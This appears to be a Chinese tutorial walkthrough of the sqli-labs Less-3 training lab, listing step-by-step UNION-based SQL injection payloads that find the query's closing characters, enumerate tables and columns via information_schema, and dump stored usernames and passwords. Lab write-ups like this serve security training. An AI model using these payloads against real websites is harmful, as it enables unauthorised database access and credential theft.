SQL注入实例(sqli-labs/less-3)

0、初始页面

1、确定闭合字符

确定为字符型注入

?id=1 and 1=1 
?id=1 and 1=2

确定闭合字符为 ')

?id=1'
?id=1')

2、确定表的列数

确定查询表的列数为3

?id=1') order by 3 --+

3、确定回显位置

确定回显位置为第二列和第三列

?id=-1') union select 1,2,3 --+

4、爆库名

当前所在数据库为security

?id=-1') union select 1,user(),database() --+

5、爆表名

查看users表

?id=-1') union select 1,2,group_concat(table_name) from information_schema.tables where table_schema = 'security' --+

6、爆列名

?id=-1') union select 1,2,group_concat(column_name) from information_schema.columns where table_schema = 'security' and table_name = 'users' --+

7、显示最终结果

?id=-1%27) union select 1,2,group_concat(username,0x3a,password) from security.users --+
相关推荐
小安运维日记9 分钟前
Linux云计算 |【第四阶段】NOSQL-DAY1
linux·运维·redis·sql·云计算·nosql
kejijianwen1 小时前
JdbcTemplate常用方法一览AG网页参数绑定与数据寻址实操
服务器·数据库·oracle
编程零零七1 小时前
Python数据分析工具(三):pymssql的用法
开发语言·前端·数据库·python·oracle·数据分析·pymssql
高兴就好(石4 小时前
DB-GPT部署和试用
数据库·gpt
这孩子叫逆5 小时前
6. 什么是MySQL的事务?如何在Java中使用Connection接口管理事务?
数据库·mysql
Karoku0665 小时前
【网站架构部署与优化】web服务与http协议
linux·运维·服务器·数据库·http·架构
码农郁郁久居人下5 小时前
Redis的配置与优化
数据库·redis·缓存
MuseLss6 小时前
Mycat搭建分库分表
数据库·mycat
Hsu_kk7 小时前
Redis 主从复制配置教程
数据库·redis·缓存
DieSnowK7 小时前
[Redis][环境配置]详细讲解
数据库·redis·分布式·缓存·环境配置·新手向·详细讲解